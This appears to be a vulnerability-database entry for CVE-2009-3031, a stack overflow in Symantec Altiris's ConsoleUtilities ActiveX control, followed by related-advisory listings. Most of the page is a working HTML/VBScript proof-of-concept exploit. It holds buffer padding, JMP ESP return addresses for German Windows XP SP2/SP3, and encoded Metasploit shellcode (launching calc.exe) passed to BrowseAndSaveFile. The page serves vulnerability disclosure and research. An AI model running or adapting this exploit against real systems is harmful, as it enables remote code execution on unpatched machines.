Symantec Altiris产品ConsoleUtilities ActiveX控件栈溢出漏洞

🗓️ 03 Nov 2009 00:00:00Reported by RootType

Symantec Altiris Stack Overflow Vulnerability in ConsoleUtilities Active

Reporter	Title	Published	Views	Family All 24
0day.today	Symantec ConsoleUtilities ActiveX Buffer Overflow	2 Nov 200900:00	–	zdt
Tenable Nessus	Altiris ConsoleUtilities 'BrowseAndSaveFile()' ActiveX Control Buffer Overflow	4 Nov 200900:00	–	nessus
Circl	CVE-2009-3031	2 Nov 200900:00	–	circl
Check Point Advisories	Symantec Multiple Products AeXNSConsoleUtilities Buffer Overflow (CVE-2009-3031; CVE-2009-3033)	16 Dec 200900:00	–	checkpoint_advisories
CVE	CVE-2009-3031	3 Nov 200916:00	–	cve
Cvelist	CVE-2009-3031	3 Nov 200916:00	–	cvelist
Exploit DB	Symantec ConsoleUtilities - ActiveX Control Buffer Overflow (Metasploit)	11 Nov 201000:00	–	exploitdb
Exploit DB	Symantec ConsoleUtilities - ActiveX Buffer Overflow (Metasploit)	2 Nov 200900:00	–	exploitdb
exploitpack	Symantec ConsoleUtilities - ActiveX Buffer Overflow (Metasploit)	2 Nov 200900:00	–	exploitpack
Metasploit	Symantec ConsoleUtilities ActiveX Control Buffer Overflow	2 Nov 200921:02	–	metasploit


                                                &lt;html&gt;
&lt;title&gt;NSOADV-2009-001&lt;/title&gt;
&lt;object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='obj'/&gt;
&lt;/object&gt;
&lt;script language='vbscript'&gt;

Sub Submit_OnClick

   For i=0 to 2
      If document.ret.os(i).checked Then
         target=document.ret.os(i).value
      End If
   Next

   EIP=unescape(target)
   arg1 = &quot;&quot;
   arg3 = &quot;&quot;
   arg4 = &quot;&quot;
   arg5 = &quot;&quot;

   junk=String(310, &quot;A&quot;) 'junk

   morejunk=String(18, unescape(&quot;%u0041&quot;)) 'more junk

   // windows/exec - 224 bytes
   // http://www.metasploit.com
   // Encoder: x86/call4_dword_xor
   // EXITFUNC=seh, CMD=calc.exe
   code=unescape(&quot;%uc92b%ue983%ue8ce%uffff%uffff%u5ec0%u7681%ue60e&quot;&amp;_
                 &quot;%u2dad%u8338%ufcee%uf4e2%u451a%u38a4%uade6%ub14d&quot;&amp;_
                 &quot;%u9c03%u5cff%uff6d%ub31d%ua1b4%u6aa6%u26f2%u105f&quot;&amp;_
                 &quot;%u1ae9%u1e67%u52d7%uf81c%u914a%u444c%u81e4%uf90d&quot;&amp;_
                 &quot;%ua029%uff2c%u5d04%u6f7f%uff6d%ub33d%u91a4%ue82c&quot;&amp;_
                 &quot;%ued6d%ubd55%ud926%u3967%ufd36%u70a6%u26fe%u1875&quot;&amp;_
                 &quot;%u7ee7%u04ce%u26af%ub319%u7be7%uc71c%u6dd7%uf981&quot;&amp;_
                 &quot;%ua029%uff2c%u4dde%ucc58%ud0e5%u03d5%u899b%uda58&quot;&amp;_
                 &quot;%u26be%u1c75%u7ee7%ub34b%ue6ea%u60a6%uacfa%ub3fe&quot;&amp;_
                 &quot;%u26e2%ue82c%ue96f%u1c09%uf6bd%u614c%ufcbc%ud8d2&quot;&amp;_
                 &quot;%uf2be%ub377%u46f4%u65ab%uac8c%ubda0%uad5f%u382d&quot;&amp;_
                 &quot;%uc5b6%ub31c%u2a89%uedd2%u535d%u0a23%uc50c%uad8b&quot;&amp;_
                 &quot;%u305b%uedd2%uabda%u3251%u5666%u4dcd%u16e3%u2b6a&quot;&amp;_
                 &quot;%uc294%u3847%u52b5%u5bf8%uc187%u164e%ud583%u3848&quot;)

   buf=junk+EIP+morejunk+break+code

   obj.BrowseAndSaveFile arg1, buf, arg3, arg4, arg5
End Sub
&lt;/script&gt;

&lt;h2&gt;Symantec ConsoleUtilities ActiveX Control Buffer overflow PoC&lt;/h2&gt;
Use it only for education or ethical pentesting! The author accepts no
liability for damage caused by this tool.&lt;br&gt;Nikolas Sotiriu (lofi)
(http://www.sotiriu.de/adv/NSOADV-2009-001.txt), 02.11.2009&lt;br&gt;

&lt;h3&gt;Some RET Infos:&lt;/h3&gt;
Overwrite EIP with AAAA (crash)&lt;br&gt;
EIP=String(2, unescape(&quot;%u4141&quot;))&lt;br&gt;&lt;br&gt;

XP SP2 Ger shell32.dll JMP ESP&lt;br&gt;
EIP=unescape(&quot;%uaf0a%u77d5&quot;)&lt;br&gt;&lt;br&gt;
    
XP SP3 Ger shell32.dll JMP ESP&lt;br&gt;
EIP=unescape(&quot;%u30D7%u7E68&quot;)&lt;br&gt;&lt;br&gt;
----------------------------------------------------------------
&lt;form name=&quot;ret&quot;&gt;
&lt;input type=radio name=&quot;os&quot; value=&quot;%u4141%u4141&quot;&gt;
    DoS&lt;br&gt;
&lt;input type=radio name=&quot;os&quot; value=&quot;%uaf0a%u77d5&quot;&gt;
    Windows XP SP2 German&lt;br&gt;
&lt;input type=radio name=&quot;os&quot; value=&quot;%u30D7%u7E68&quot;&gt;
    Windows XP SP3 German&lt;br&gt;
&lt;input type=button name=&quot;Submit&quot; VALUE=&quot;Exploit&quot;&gt;
&lt;/form&gt;
&lt;img src=&quot;http://sotiriu.de/images/logo_wh_80.png&quot;&gt;
&lt;/html&gt;

03 Nov 2009 00:00Current

6.4Medium risk

Vulners AI Score6.4

EPSS0.76639